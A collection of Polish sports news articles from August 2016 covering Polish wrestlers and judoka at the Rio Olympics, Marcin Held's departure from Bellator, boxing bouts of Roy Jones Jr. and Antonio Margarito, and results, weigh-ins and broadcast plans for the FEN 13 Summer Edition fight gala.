24-latek dostarczył radości kibicom w marcu, kiedy to w Rydze wywalczył srebrny medal mistrzostw Europy. Lepszy okazał się jedynie Gruzin Geno Petriaszwili. Kolejnym ważnym wydarzeniem w karierze Barana miał być start w Igrzyskach Olimpijskich w Rio de Janeiro. Wicemistrz Europy rozpoczął rywalizację od 1/8 finału, gdzie trafił na Aiaala Lazarowa. Reprezentant Kirgistanu to doświadczony zapaśnik, którzy osiągał sukcesy w mistrzostwach Azji. Występował również na światowym czempionacie, gdzie jego najlepszym rezultatem jest dziesiąta pozycja wywalczona w 2015 roku. Starcie rozpoczęło się spokojnie, ale od drugiej rundy wyraźnie aktywniejszy był Baran. W końcu Polak wykonał krok w kierunku zwycięstwa. Chwycił rywala za nogę i przeprowadził decydującą akcję.

W ćwierćfinale Baran trafił na niespełna 30-letniego Tervela Dlagneva. Amerykanin bułgarskiego pochodzenia ma bogate doświadczenia. Już raz był blisko medalu olimpijskiego. Cztery lata temu w Londynie zajął piąte miejsce. Baran stanął przed trudnym zadaniem, ale w pierwszej rundzie ruszył na rywala. Jednak to Amerykanin przeprowadził akcję punktową. Następnie Dlagnev wypchnął Polaka za matę i zwiększył przewagę. 24-letni Baran walczył do samego końca i przeprowadził akcję za dwa punkty, ale do półfinału nie udało się awansować. 

Nie powalczy o medal

Zbigniew Baranowski już w pierwszej walce trafił na niezwykle mocnego rywala. Sandro Aminashvili to brązowy medalista zeszłorocznych Igrzysk Europejskich i mistrzostw świata. Gruzin punktował, ale nie dzięki swojej pomysłowości i aktywności, lecz przez pasywność Polaka. W końcu Baranowski postawił wszystko na jedną kartę. Przeprowadził akcję, która dała mu punkty i zwyciężył 3:1.

W ćwierćfinale los skojarzył naszego zapaśnika z Szarifem Szarifowem. Mistrz olimpijski z Londynu wygrał pierwszą rundę i ustawił sobie pojedynek. W kolejnej odsłonie Azer udowodnił swoją dominację, powiększył konto punktowe i awansował do półfinału. W pojedynku o finał przegrał z Abdulrashidem Sadulajewem, co sprawiło, że Baranowski nie wystąpi w repasażach.

KM

Michalik spełniła marzenia, wywalczyła medal w Rio!

Monika Michalik (63kg)  nie znalazła recepty na Risako Kawai w 1/8 Igrzysk Olimpijskich w Rio, ale cieszy się z brązowego medalu! Los uśmiechnął się do naszej zawodniczki. Ogromny sukces polskich zapasów! Z rywalizacji w ćwierćfinale odpadła Katarzyna Krawczyk (53kg).

Doświadczenia oraz medalowych zdobyczy Michalik nie można odmówić. Pierwsza walka i porażka Polki, jednak los pozwolił rywalizować naszej zawodniczce o brążowy medal.

Szana na medal

Historia podobna jak w Londynie. Cztery lata temu Michalik walczyła jak lew, ale potknęła się w ćwierćfinale. W repasażach spisała się świetnie i miała szansę na brązowy medal. Reprezentantka Polski w decydującym starciu spotkała się z Lubow Wołosową, która sięgała po laury na mistrzowskich imprezach. Polka nie przestraszyła się starcia z Rosjanką i dobrze rozpoczęła pojedynek. Pierwsza runda dla Michalik, później lepsza była Wołosowa, która rozstrzygnęła też na swoją korzyść dodatkową odsłonę. Wtedy czegoś zabrakło, medal był na wyciągnięcie ręki. Bolało…

W Rio zaczęło się źle. Nadzieja na dobry wynik umarła bardzo szybko. Michalik nie przebrnęła nawet pierwszej przeszkody. Trzykrotna mistrzyni Europy spotkała się w 1/8 turnieju olimpijskiego z Risako Kawai. Niespełna 21-letnia Japonka nabiera doświadczenia i prezentuje się coraz lepiej. W ubiegłym roku potwierdziła talent na mistrzostwach świata w Las Vegas, gdzie sięgnęła po srebrny medal.

Japonka już w pierwszej rundzie pokazała Polce, kto będzie rozdawał karty w tym pojedynku. Trzy punkty dla Kawai, która kontrolowała walkę. W drugiej rundzie potwierdziła przewagę. Michalik przegrała 0:5. Jednak los uśmiechnął się do 36-letniej zapaśniczki. Można powiedzieć, że duża w tym zasługa… Kawai. Japonka dotarła do finału, co dało Polce szansę rywalizacji w repasażu. Michalik spotkała się z Anastasiją Grigorjevą. Polka dała z siebie wszystko i wygrała 5:2, czym otworzyła sobie drzwi do zmagań o brąz.

O medal Igrzysk Olimpijskich Michalik przyszło walczyć z Inną Trażukową. Dorobek Rosjanki w światowych imprezach jest znacznie skromniejszy niż doświadczonej Polki. 25-letnia Trażukowa sięgała po brązowe medale mistrzostw Europy, w tym roku stanęła na podium w Rydze. Pierwsza runda rywalizacji spokojna, ale punkt na swoim koncie zapisała Rosjanka. Na początku drugiej odsłony Michalik zaliczyła świetne obejście i wyszła na prowadzenie. Dwa punkty na koncie 36-letniej zapaśniczki i to Trażukowa musiała gonić wynik. Rywalka wypchnęła Polkę poza pole, co pozwoliło jej wyrówanać stan rywalizacji, ale po chwili Michalik zaliczyła kolejne obejście i było 4:2. Nasza zapaśniczka poszła za ciosem. Cztery punkty przewagi nie usatysfakcjonowały Polki, która dalej atakowała. Wygrana 6:3 i medal olimpijski dla Michalik, która ciężko pracowała przez całą karierę na ten sukces!

Kolekcjonerka medali

Monika Michalik to jedna z najbardziej utytułowanych polskich zapaśniczek. 36-latka wywalczyła dwa brązowe medale mistrzostw świata. Również na czempionacie wojskowym sięgała po tytuły wicemistrzowskie. Jej kunszt najbardziej objawił się na mistrzostwach Europy, gdzie zdobyła aż dziewięć medali. W 2003, 2005 i 2009 roku stała na najwyższym stopniu podium. Michalik sukcesy święciła w kategoriach 59kg i 63kg.

Krawczyk walczyła dzielnie

25-letnia Katarzyna Krawczyk rywalizowała w kategorii 53kg. Polka dobrze rozpoczęła olimpijską rywalizację i dała fanom zapasów ogromną nadzieję. W 1/8 finału wspięła się na wyżyny. Po zaciętym boju Polka pokonała 8:6 Sumiyę Erdenechimeg, czyli wicemistrzynię świata.

W ćwierćfinale zadanie wcale nie było łatwiejsze. Krawczyk trafiła na utytułowaną Sofię Mattsson. Szwedka była aktywna i zdobywała kolejne punkty. Ostatecznie Mattsson wygrała 10:3, jednak poległa w półfinale, co sprawiło, że dla Polki zabrakło miejsca w repasażach.

KM

Held zwolniony z Bellatora

Kończy się piękna przygoda utalentowanego Marcina Helda z organizacją Bellator. 24-letni fighter będzie szukał kolejnych wyzwań i wydaje się, że ma szansę na podbój UFC.

Polak w klatce Bellatora zaprezentował się po raz ostatni w maju br. Held wygrał i wyrównał rachunki z Dave'm Jansenem, z którym przegrał trzy lata temu.

Zebrał szlify

O tym, że Marcin Held ma talent nikogo nie trzeba przekonywać. Pierwsze szlify zbierał w Bastionie Tychy. Na eksplozję jego umiejętności nie trzeba było długo czekać. Pierwszą zawodową walkę stoczył w wieku 16 lat i przed czasem pokonał Mateusza Piórkowskiego. W kolejnym starciu wygrał z doskonale znanym z KSW Arturem Sowińskim. Held na rozkładzie ma również Borysa Mańkowskiego. Pierwszym zawodnikiem, który zdołał powstrzymać fightera Bastionu był Łukasz Sajewski, który ma za sobą już dwie walki w UFC. Wszyscy wtedy zaczynali swoją przygodę z MMA. 

Po dobrych występach na polskiej ziemi, gdzie Held wywalczył tytuł mistrza MMA Challengers w wadze lekkiej, podpisał umowę z Bellatorem, czyli czołową organizacją na świecie. W 2011 roku wystąpił w turnieju lekkich i odpadł w fazie ćwierćfinałowej. Pogromcą Polaka okazał się Michael Chandler, który wygrał zmagania. Dwa lata później Held dotarł do finału, ale tam musiał uznać wyższość Dave Jansena. W przypadku polskiego fightera zastosowanie ma powiedzenie „do trzech razy sztuka”. Kolejny start w turnieju wagi lekkiej zakończył się triumfem naszego zawodnika. W listopadzie 2015 roku Held stanął przed największym wyzwaniem w karierze. Stoczył bój z Willem Brooksem o pas tytuł w wadze lekkiej, jednak Amerykanin wykorzystał swoje doświadczenie i wygrał na punkty.

24-latek pokazał ogromne umiejętności w parterze, gdzie niejednokrotnie zmuszał rywali do odklepania. Łącznie Held stoczył dla Bellatora czternaście pojedynków, z których wygrał jedenaście. Pewien etap kariery 24-latka właśnie się kończy. Organizacja rozwiązała za porozumieniem stron umowę z fighterem. – Oficjalnie jestem bezrobotny. W tej chwili wybieram się na obóz parterowy, gdzie przygotuję się do eliminacji do Mistrzostw Świata ADCC. Pod warunkiem oczywiście, że w międzyczasie nie będę miał żadnej walki (MMA) – powiedział w rozmowie z mmanews.pl Marcin Held.

Cel wydaje się jasny

Zawodnik nie ukrywa, że chciałby toczyć boje w UFC. W Bellatorze miał okazję okrzepnąć i nabrać doświadczenia. Held jest niezwykle mocny w parterze i potrafi w niekonwencjonalny sposób skończyć walkę.

UFC potrzebuje postaci, które znają się na rzeczy. Held jest młody, utalentowany i głodny rywalizacji. Można powiedzieć, że świat stoi przed nim otworem. Ważne przy tym jest zachowanie odporności i spokoju. Bez tego o sukces jest zdecydowanie trudniej.

KM

Matkowska nie dotarła do półfinału

Po rywalizacji panów w zapasach w styl klasycznym nadszedł czas na panie. W Rio de Janeiro zaprezentowały się Iwona Matkowska (48kg) i Agnieszka Wieszczek-Kordus (69kg). Zapaśniczka Grunwaldu Poznań przegrała walkę o półfinał, jednak nadzieja na medal pozostawała. Polka wystąpiła w repasażach, jednak nie udało jej się zwyciężyć.

Nasze zapaśniczki mają bogate osiągnięcia. Start w Igrzyskach Olimpijskich był dla nich kolejnym wyzwaniem, ale nie nowością. Wieszczek-Kordus ma w swoim dorobku medal z najważniejszej imprezy czterolecia. Matkowska wierzyła w sukces w Brazylii.

Medalowe aspiracje

34-letnia Matkowska to niezwykle utytułowana zapaśniczka. Polka zdobywała medale na najważniejszych imprezach międzynarodowych. W ostatnim czasie imponowała formą i wymieniano ją w gronie faworytek do zajęcia miejsca na podium w kategorii 48kg. Dwa lata temu Matkowska sięgnęła w Taszkiencie po srebro mistrzostw świata. Na ubiegłorocznych Igrzyskach Europejskich w Baku potwierdziła wysoką dyspozycję i wywalczyła brąz. Nic dziwnego, że pojawiły się nadzieje na sukces w igrzyskach.

W majowym turnieju w Stambule Polka zapewniła sobie przepustkę do Rio. Walkę o spełnienie marzeń rozpoczęła od zmagań z Mercy Miesinnei Genesis. Polka uchodziła za faworytkę rywalizacji i od początku potwierdzała, że zasługuje na to miano. 34-letnia zapaśniczka szybko zdobyła pierwsze punkty, co pozwoliło jej kontrolować pojedynek. Nigeryjka próbowała atakować, ale Matkowska nie pozwoliła jej na zbyt wiele. W trzeciej rundzie Polka podkreśliła swoją przewagę i położyła rywalkę na łopatki.

W ćwierćfinale trafiła na niezwykle mocną Mariję Stadnik. Reprezentantce Azerbejdżanu w kolekcji brakuje tylko olimpijskiego złota. Cztery lata wywalczyła srebro, po drodze pokonując Matkowską, a w Pekinie sięgnęła po brąz. 28-letnia tegoroczna mistrzyni Europy szybko znalazła sposób na Polkę. Z czasem budowała przewagę, a Matkowska była bezradna. Stadnik pewnie wygrała i zmierza po złoto.

W repasażach 34-letnia Polka trafiła Patricię Bermudez. O medal powalczy zawodniczka z Argentyny, która wygrała 3:1.

Szybkie pożegnanie

Agnieszka Wieszczek-Kordus ma w kolekcji medal Igrzysk Olimpijskich. Osiem lat temu w Pekinie wywalczyła brąz w rywalizacji w kategorii 72kg. Teraz wystartowała w 69kg.

Polka trafiła w pierwszym starciu na Buse Tosun. 21-letnia Turczynka stawia pierwsze kroki na najwyższym poziomie. Tosun zdobywała medale na mistrzostwach świata juniorów, triumfowała w europejskim czempionacie. W seniorskich startach zdążyła pokazać się z dobrej strony. Sięgnęła po brąz podczas tegorocznych mistrzostw Europy w Rydze.

To był pojedynek doświadczenia z młodością. Tosun szybko przystąpiła do działania i nie musiała długo czekać na pierwsze punkty, jednak to rozbudziło jej apetyt. 21-letnia zawodniczka przerzuciła Polkę na plecy, a po chwili sędzia oznajmił koniec pojedynku.

W 1/8 Tosun przegrała z Japonką Sarą Dosho, co przekreśliło ostatecznie szanse doświadczonej Wieszczek-Kordus na występ w repasażach.

KM

Weterani wygrywają

Roy Jones Jr. i Antonio Margarito zapisali piękne karty w historii boksu. Pierwszy zbliża się powoli do pięćdziesiątki, ale toczy kolejne boje. Z kolei Meksykanin wrócił do rywalizacji po kilkuletniej przerwie. Pojawiły się głosy, że być może Margarito zmierzy się ze swoim rodakiem – Saulem „Canelo” Alvarezem, który jest mistrzem WBA wagi lekkośredniej.

Tegoroczne występy układają się po ich myśli. Jednak warto zaznaczyć, że obaj mają zupełnie inne cele. Jones Jr. marzenia o tytułach mistrzowskich odłożył na bok, ale Margarito może mieć jeszcze nadzieję, że szansa na wielką walkę pojawi się.

Ponad dwadzieścia lat w ringu

W Polsce zakończyły się obrady okrągłego stołu i przygotowywano się do przemian ustrojowych, a Roy Jones Jr. szykował się do pierwszej zawodowej walki. W maju 1989 roku w Civic Center na Florydzie spotkał się z Ricky'm Randallem. Rywal niezbyt wymagający, zanotował zaledwie sześć zwycięstw w karierze i kilka miesięcy po pojedynku z przyszłym mistrzem świata kilku kategorii wagowych zakończył karierę. Z kolei Jones Jr. wystartował i nadal podąża bokserską ścieżką, choć do najwyższej formy mu daleko. 47-latek zdobywał tytuły w kategorii średniej, super średniej (IBF), półciężkiej (WBC, WBA i IBF) praz ciężkiej (WBA).

Kilkukrotnie mówiło się, że Jones Jr. powinien pomyśleć o zakończeniu kariery. W maju 2004 roku stracił pasy mistrzowskie na rzecz Antonio Tarvera. Następnie przegrał kolejne dwa pojedynki. Kolejny kryzys przyszedł kilka lat później. Mimo porażek z Danny'm Greenem, Bernardem Hopkinsem i Denisem Lebedevem nie odłożył rękawic. W 2015 roku wystąpił czterokrotnie i zanotował trzy zwycięstwa. 

Podczas gali w Pensacola Bay Center stoczył drugą tegoroczną walkę. Rywala trudno uznać za wymagającego, gdyż Rodney Moore po raz ostatni wygrał w… 2002 roku. Dla zbliżającego się do pięćdziesiątki Jonesa Jr. nie mógł być to pojedynek z kategorii trudnych. Amerykanin udowodnił swoją przewagę oraz większą znajomość bokserskiego rzemiosła 47-latek wygrał decyzją sędziów, którzy punktowali zgodnie 100:90. 

Pokonał brata mistrza

38 lat to nie jest wiek, który dyskwalifikuje boksera. Antonio Margarito ma za sobą potężny bagaż doświadczeń i stoczył wiele pamiętnych walk. Dominował w kategorii półśredniej, gdzie wywalczył tytuły mistrzowskie WBA, WBO i IBF.

Pod koniec 2011 roku poniósł porażkę z Miguelem Cotto w starciu o tytuł super czempiona WBA wagi półśredniej. Wydawało się, że dla Margarito będzie to ostatni pojedynek w karierze. Wpływ na to miała kontuzja odniesiona we wcześniejszym starciu z Manny Pacquiao. Meksykanin przeszedł rekonstrukcję kości oczodołów.

Po ponad czterech latach wrócił na ring i pokonał Jorge Paeza Jr. Na ringu w Rosario w sobotnią, 13 sierpnia, noc zmierzył się z Ramonem Alvarezem, czyli bratem Saula „Canelo” Alvareza. Walka była niezwykle zacięta i obfitowała w liczne wymiany. W ósmej rundzie Alvarez po jednym z ciosów znalazł się w tarapatach. Wytrwał do końca, ale sędziowie wskazali na Margarito. Meksykanin wygrał niejednogłośnie – 94:95, 97:92, 97:92. 

fot. boxrec.com

KM

Szeroka paleta akcji, były efektowne rozstrzygnięcia

Już od pierwszego pojedynku gala FEN 13 Summer zapowiadała się niezwykle ekscytująco. Kibice zgromadzeni w hali Gdynia Arena oraz przed telewizorami zacierali ręce i czekali na kolejne walki. Wisienką na torcie miał być finał trylogii tworzonej przez Mariana Ziółkowskiego i Jacka Krefta oraz starcie Kamila Łebkowskiego i Piotra Hallmanna.

Wojownicy robili wszystko, aby wywołać entuzjazm wśród kibiców. Efektownych akcji było jak na lekarstwo, fighterzy nie oszczędzali się.

Finał trylogii

Dania wieczoru pod znakiem MMA. Piotr Hallmann po przygodzie z UFC pojawił się w Polsce i spróbował sił na gali FEN 13. 28-latek zdecydował się spróbować sił w kategorii piórkowej. Kamil Łepkowski nie przestraszył się rywala, który walczył w najlepszej organizacji MMA na świecie. W pierwszej rundzie w stójce nie oszczędzał Hallmana, słał kolejne precyzyjne ciosy w stronę przeciwnika. Popularny „Płetwal” obudził się w kolejnej odsłonie. Jednak nie zagroził rywalowi, który nadal imponował precyzją i szeroką paletą ciosów. W trzeciej rundzie Hallmann postanowił się otworzyć. Zawodnik z doświadczeniem w UFC ruszył do ataku, zadawał ciosy, ale sam przyjął kilka uderzeń. Łepkowski zapisał na swoje konto obalenie. Ostateczny werdykt leżał w rękach sędziów, którzy wskazali na 28-latka z Białej Podlaskiej. Łepkowski wygrał piętnastą walkę w karierze. Z kolei Marian Ziółkowski i Jacek Kreft spotkali się po raz trzeci. Pojedynek w wadze lekkiej miał wyłonić lepszego z tej dwójki. Ta rywalizacja zapowiadała się niezwykle smakowicie. Zwłaszcza, że obaj są wymieniani w gronie tych, którzy są zagrożeniem dla mistrza FEN Romana Szymańskiego. Ziółkowski już raz próbował zdobyć pas, ale bezskutecznie. W starciu z Kreftem „Golden Boy” pokazał lwi pazur. Rywal próbował zaskoczyć Ziółkowskiego w parterze, ale to on zapiął trójkąt nogami. Kreft musiał odklepać. Finał trylogii dla „Golden Boya”.

W pojedynku ciężkich w formule MMA ze zwycięstwa cieszył się Marcin Wlazło. To pierwszy triumf podczas przygody 33-latka z organizacją FEN. W debiucie przegrał z Dawidem Morą, z kolei Marcin Gułaś w ostatnim pojedynku poległ z Jędrzejem Maćkowiakiem. Różnica wagi była wyraźna, 20 kilogramów cięższy okazał się Wlazło. Od początku aktywny był Gułaś, który szukał swojej szansy w parterze. Wlazło wychodził cało z tych prób, a w drugiej rundzie znalazł sposób na rywala. Low kickami rozbił Gułasia, później próbował duszenia i w końcu lawiną ciosów zasypał przeciwnika. Sędzia przerwał walkę, a Wlazło mógł wznieść ręce w geście triumfu. 

Cztery pojedynki w K-1 znalazły się w karcie głównej gali FEN 13 Summer Edition. Jarosław Daschke od początku ruszył na Marcina Stopkę, choć rywal nie pozostawał bierny. 25-latek z Gdańska w drugiej rundzie podkreślił swoją przewagę. Mocne kolana i front kicki dały przewagę Daschke, ale Stopka nie poddawał się. Starał się, jednak 25-latek kontrolował sytuację i wygrał jednogłośną decyzją sędziów.

Kamila Bałanda i Róża Gumienna zaczęły nieśmiało. Zawodniczka Championa Kościerzyna w drugiej rundzie naruszyła nos rywalki, jednak fighterka Punchera Wrocław była aktywniejsza. Trzecia odsłona dostarczyła najwięcej emocji. Bałanda ruszyła do przodu, chwila przerwy ze względu na… nos Gumiennej. Po przerwie 25-latka była podrażniona i mocno doświadczyła rywalkę. Gumienna zwyciężyła większościową decyzją sędziów.

W pojedynku ciężkich Artur Bizewski lepszy od Marcin Szredera. Popularny „Bizon” nie oszczędzał rywala i słał w jego stronę potężne ciosy. Szreder twardo stał na nogach. W trzeciej rundzie zawodnicy wyraźnie osłabli, ale dwie poprzednie odsłony dostarczyły wielu emocji. Niezwykle zacięty bój stoczyli Arkadiusz Wrzosek i Kryspin Kalski w pojedynku w +93kg. Do rozstrzygnięcia potrzebna była runda dodatkowa. Ciosów nie brakowało, ale żadnemu z zawodników nie udało się wyraźnie zaznaczyć swojej przewagi. Niejednogłośnie na punkty wygrał Wrzosek.

W pojedynku MMA 68,5kg spotkali się Bartłomiej Kopera i Nikodem Szymański. 23-latek z Łodzi cieszy się z szóstego zwycięstwa z rzędu. Kopera wygrał po raz drugi na gali organizacji FEN. Tym razem niezwykle efektownie i szybko. Skuteczna balacha i Szymański musiał odklepać.

Emocje od początku

Pojedynki z karty wstępnej mogły rozbudzić apetyty kibiców. Z pewnością mylił się ten, kto sądził, że będzie to spokojne wprowadzenie do głównych wydarzeń wieczoru. W pojedynku na zasadach MMA 80kg Paweł Kordylewicz szybko zmusił do poddania Karola Trzebiatowskiego. Efektowna gilotyna zakończyła pojedynek już w pierwszej rundzie. W K-1 70kg spotkali się Jakub Rajewski i Filip Sadowski. Pojedynek przebiegał w szybkim tempie. Rozstrzygnięcie przyszło już w pierwszej odsłonie, kiedy Rajewski potraktował rywala kolanami pod siatką. 

Kamil Gniadek (MMA, 77kg) szybko sprowadził do parteru Klemensa Ewalda. W drugiej odsłonie walka toczyła się na tej samej płaszczyźnie. Po początkowych próbach wymian stójkowych Gniadek przeniósł walkę do parteru. Jego próby w końcu przyniosły efekt. Duszenie zza pleców i Ewald musiał odklepać. Równie ciekawie wyglądał pojedynek Ireneusza Szydłowskiego (MMA, 77kg) z Bartoszem Chyrkiem. Stójka, a następnie parter i wiele ciosów. Przewagę miał Szydłowski, który w drugiej rundzie efektownie zakończył walkę. Potężne kopnięcie na wątrobę rywala i uderzenia sprawiły, że Chyrek był bezradny.

fot. Paweł Najmowicz / FEN Federation

KM

 

FEN 13 Summer Edition: oficjalne wyniki ważenia zawodników

Ceremonia ważenia przed galą FEN 13 Summer Edition zakończona! Na scenie przed klubem Unique w Sopocie pojawili się niemal wszyscy zawodnicy – zabrakło jedynie Karola Kruzela, który z powodów zdrowotnych musiał w ostatniej chwili wycofać się z undercardowej walki z Jakubem Rajewskim, oraz zastępującego go Filipa Sadowskiego z Agoga Gym Lębork.

Niemal wszyscy obecni na ceremonii uczestnicy jutrzejszych zawodów w Gdynia Arena zmieścili się w limitach wagowych – jedynym, który wniósł na wagę za dużo, był Karol Trzebiatowski. Zawodnik Energy Gym Gdynia nie będzie jednak ponowanie ważony, ponieważ porozumiał się ze swoim rywalem Pawłem Kordylewiczem. Co godne podkreślenia, fighter Streffa Fight Team Lubin zrezygnował z przysługującej mu części wynagrodzenia rywala ze względu na to, że Trzebiatowski bardzo późno przyjął propozycję walki.

Olimpijskim spokojem wykazali się na ceremonii ważenia główni bohaterowie gali FEN 13 Summer Edition. Kiedy Piotr Hallmann i Kamil Łebkowski, których kibice zobaczą jutro w Gdynia Arena w walce wieczoru, stanęli naprzeciwko siebie, tylko spojrzeli sobie głęboko w oczy, nie okazując niemal żadnych emocji.

Zgodnie z wczorajszymi zapowiedziami prezesa FEN Pawła Jóźwiaka, zmieniła się kolejność walk w fight cardzie jutrzejszej gali. Do roli co-main eventu FEN 13 Summer Edition awansowało starcie Mariana Ziółkowskiego z Jackiem Kreftem.

OFICJALNE WYNIKI WAŻENIA

Walki wieczoru

MMA -66 kg: Kamil Łebkowski (66,1 kg) vs Piotr Hallmann (66,0 kg)
MMA -70 kg: Marian Ziółkowski (70,0 kg) vs Jacek Kreft (69,4 kg)

Karta główna

MMA +93 kg: Marcin Gułaś (97,0 kg) vs Michał Wlazło (120,3 kg)
K-1 +93 kg: Arkadiusz Wrzosek (103,3 kg) vs Kryspin Kalski (101,2 kg)
K-1 -98 kg: Artur Bizewski (96,8 kg) vs Marcin Szreder (97,2 kg)
K-1 -65 kg: Kamila Bałanda (65,0 kg) vs Róża Gumienna (64,8 kg)
K-1 -70 kg: Marcin Stopka (70,0 kg) vs Jarosław Daschke (69,4 kg)
MMA -68,5 kg: Nikodem Szymański (67,7 kg) vs Bartłomiej Kopera (68,0 kg)

Karta wstępna

MMA -77 kg: Ireneusz Szydłowski (76,5 kg) vs Bartosz Chyrek (77,1 kg)
MMA -77 kg: Kamil Gniadek (77,0 kg) vs Klemens Ewald (77,0 kg)
MMA -66 kg: Aleksander Georgas (66,2 kg) vs Robert Rajewski Jr (65,8 kg)
K-1 -70 kg: Jakub Rajewski (70,4 kg) vs Filip Sadowski (będzie zważony w hotelu)
MMA -80 kg: Karol Trzebiatowski (81,7 kg) vs Paweł Kordylewicz (79,9 kg)

Bilety na FEN 13 Summer Edition można jeszcze kupić w serwisach Eventim.pl oraz KupBilet.pl, a jutro przed galą także w kasach Gdynia Arena. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

FEN

 

Sarnacki kończy rywalizację olimpijską

Or Sasson z Izraela okazał się przeszkodą nie do przejścia dla Macieja Sarnackiego w rywalizacji w kategorii +100kg. Polak przegrał rywalizację o ćwierćfinał Igrzysk Olimpijskich w Rio de Janeiro.

Judoka Gwardii Olsztyn był ostatnim z naszych reprezentantów startujących na tatami. Żadnemu z naszych kadrowiczów nie udało się sięgnąć po medal. Klątwa z Atlanty trwa…

Olimpijski debiut

Do Rio pojechała czteroosobowa kadra w judo, ale w tym gronie był tylko jeden mężczyzna. Maciej Sarnacki to obecnie bezapelacyjnie nasz najlepszy zawodnik, który notuje równe starty. Dobrą postawą zapracował na kwalifikację olimpijską i po cichu liczyliśmy, że nawiąże do sukcesów Pawła Nastuli.

W trakcie sezonu drżeliśmy o Sarnackiego. W maju w Ałmatach podczas zawodów Grand Prix nasz judoka opuszczał tatami na noszach. Dodatkowo kilka miesięcy wcześniej z powodu kontuzji mięśnia piersiowego musiał oddać walkę o trzecie miejsce w Abu Zabi. Ważne było zdrowie Polaka, bo kwalifikację olimpijską gwarantowało mu wysokie miejsce w rankingu. Wszystko ułożyło się po myśli Sarnackiego, który sam wyrażał nadzieję, że w końcu uda się pokonać medalową niemoc na igrzyskach w judo. 

Losowanie było dla niego łaskawe. W 1/16 29-letni Polak trafił na doświadczonego Thormodura Jonssona. Islandczyk nie ma na swoim koncie większych osiągnięć, ale na igrzyskach startował drugi raz. Z kolei Sarnacki debiutował, więc należało spodziewać się olimpijskiej tremy.

Islandczyk poczynał sobie śmiało, ale dopuszczał się niesportowych zachowań. Sędzia reagował i upominał 33-latka, który w sumie uzbierał cztery shido. To dało Sarnackiemu triumf. Warto nadmienić, że Polak zanotował dwie kary. 

W 1/8 finału rywalem judoki Gwardii Olsztyn był Or Sasson. 26-letni reprezentant Izraela to numer pięć światowego rankingu. Wicemistrz Europy z Kazania wygrał w tym roku zawody w Tbilisi i kilkukrotnie był o krok od zwycięstwa w zawodach na poziomie międzynarodowym. Sasson był faworytem pojedynku o ćwierćfinał. Na początku starał się zaatakować Sarnacki, jednak nie zrobił krzywdy rywalowi. Obaj otrzymali po karze shido. Po upływie dwóch minut Sasson przeprowadził decydującą akcję i uzyskał waza-ari.

Smutne pożegnanie

1/8 Igrzysk Olimpijskich w Rio de Janeiro okazała się nie do przejścia dla reprezentantów Polski. Na tym etapie poległ Sarnacki oraz Katarzyna Kłys i Daria Pogorzelec. Z kolei Arleta Podolak odpadła w 1/16 olimpijskich zmagań. 

Kolejne cztery lata trzeba poczekać na próbę wywalczenia medalu na igrzyskach w judo. Dwadzieścia lat temu na najwyższym stopniu podium w Atlancie stanął Paweł Nastula (95kg). Tytuł wicemistrzyni olimpijskiej wywalczyła Aneta Szczepańska (66kg).

KM

Pogorzelec musi zapomnieć o medalu

Daria Pogorzelec (78kg) poza Igrzyskami Olimpijskimi w Rio de Janeiro. W 1/8 polska judoczka przegrała z Luise Malzahn.

Zawodniczka Wybrzeża Gdańsk zapewniła sobie przepustkę olimpijską fantastycznymi występami w 2014 i 2015 roku, kiedy regularnie zdobywała medale w międzynarodowych startach. Jesienią ubiegłego roku zmagała się z kontuzją kolana. Uraz odnowił się w maju podczas Grand Prix w Ałmatach. Drżeliśmy o występ Pogorzelec w Rio, jednak wszystko skończyło się dobrze. W Brazylii miała spełnić marzenia.

Minimalna porażka

26-letnia judoczka zajmuje dziewiętnaste miejsce w światowym rankingu. Po raz ostatni na podium stała w maju 2015 roku w Baku. Liczyliśmy, że w zmaganiach olimpijskich uda jej się przełamać. Pogorzelec to zawodniczka z charakterem, która zawsze walczy do końca. Rok temu zaprezentowała się najlepiej spośród biało-czerwonych w mistrzostwach świata w Astanie, gdzie zajęła piątą lokatę. 

Wiadomo, że rywalizacja w igrzyskach może paraliżować. Dla każdego sportowca to spełnienie marzeń. W pierwszym pojedynku w Rio widać było, że Pogorzelec męczyła się z Hortence Vanessą Mballą Atanganą. Tegoroczna mistrzyni Afryki okazała się nieustępliwa. Choć Pogorzelec zaczęła zdecydowanie to szybko inicjatywę przejęła rywalka. 24-letnia Kamerunka sprowadzała walkę do parteru i tam szukała zwycięskiego trzymania. Problem w tym, że mistrzyni Afryki nie zawsze walczyła czysto. Dostała aż trzy kary shido, które dały Pogorzelec przepustkę do 1/8 zmagań.

Tam Polka trafiła na trzecią zawodniczkę Europy Luise Malzahn. Judoczki nie potrafiły przeprowadzić punktowej akcji. Po raz kolejny o wyniku rywalizacji decydowały kary. O jedną więcej na swoim koncie zapisała Pogorzelec. Tym samym Polka zaprzepaściła szansę na poprawienie wyniku z Londynu, gdzie wywalczyła siódmą pozycję.

Warto dodać, że Malzahn w ćwierćfinale przegrała z Mayrą Aguiar. Zadecydowała… jedna kara shido.

Ostatni na placu boju

Na olimpijski medal w judo czekamy dwadzieścia lat. Wracamy wspomnieniami do Atlanty, gdzie na najwyższym stopniu podium stanął Paweł Nastula. Wierzyliśmy, że w Rio de Janeiro uda się przełamać tę niemoc.

Do Brazylii pojechało czworo reprezentantów Polski. Arleta Podolak odpadła już po pierwszej walce, Katarzyna Kłys i Daria Pogorzelec nie zdołały przebić się do ćwierćfinału. Na placu boju pozostał Maciej Sarnacki (+100kg). Najlepszy obecnie polski judoka na tatami pojawi się w piątek 12 sierpnia. W 1/16 finału zmierzy się z Islandczykiem Thormodurem Arnim Jonssonem.

KM

FEN 13 Summer Edition: plan transmisji na żywo

Transmisja z gali FEN 13 Summer Edition będzie pierwszą relacją live, jaką zobaczą widzowie nowego kanału Polsat Sport Fight. Zawody, które odbędą się 13 sierpnia w Gdynia Arena, pokażą także stacje Polsat Sport i Polsat. Z kolei media trening i ceremonię ważenia przed galą będzie można śledzić na żywo na stronie fen-mma.com/fen-13-live.

Uruchomiony 1 sierpnia i nadawany w jakości HD kanał Polsat Sport Fight jest w całości dedykowany sportom walki. Dostępny jest w pakiecie Sport HD –  na pozycji 17 na liście programów w dekoderach Cyfrowego Polsatu zajął miejsce telewizji FightClub. Do tej pory pokazywane w nim były retransmisje gal boksu i mieszanych sztuk walki oraz powtórki magazynów poświęconych sportom walki.

Transmisja live z sobotniej gali FEN 13 Summer Edition w Polsat Sport Fight rozpocznie się o godz. 19 i potrwa do zakończenia gali. Podczas niej kibice zobaczą dwie ostatnie walki karty wstępnej, wszystkie walki karty głównej oraz walkę wieczoru.

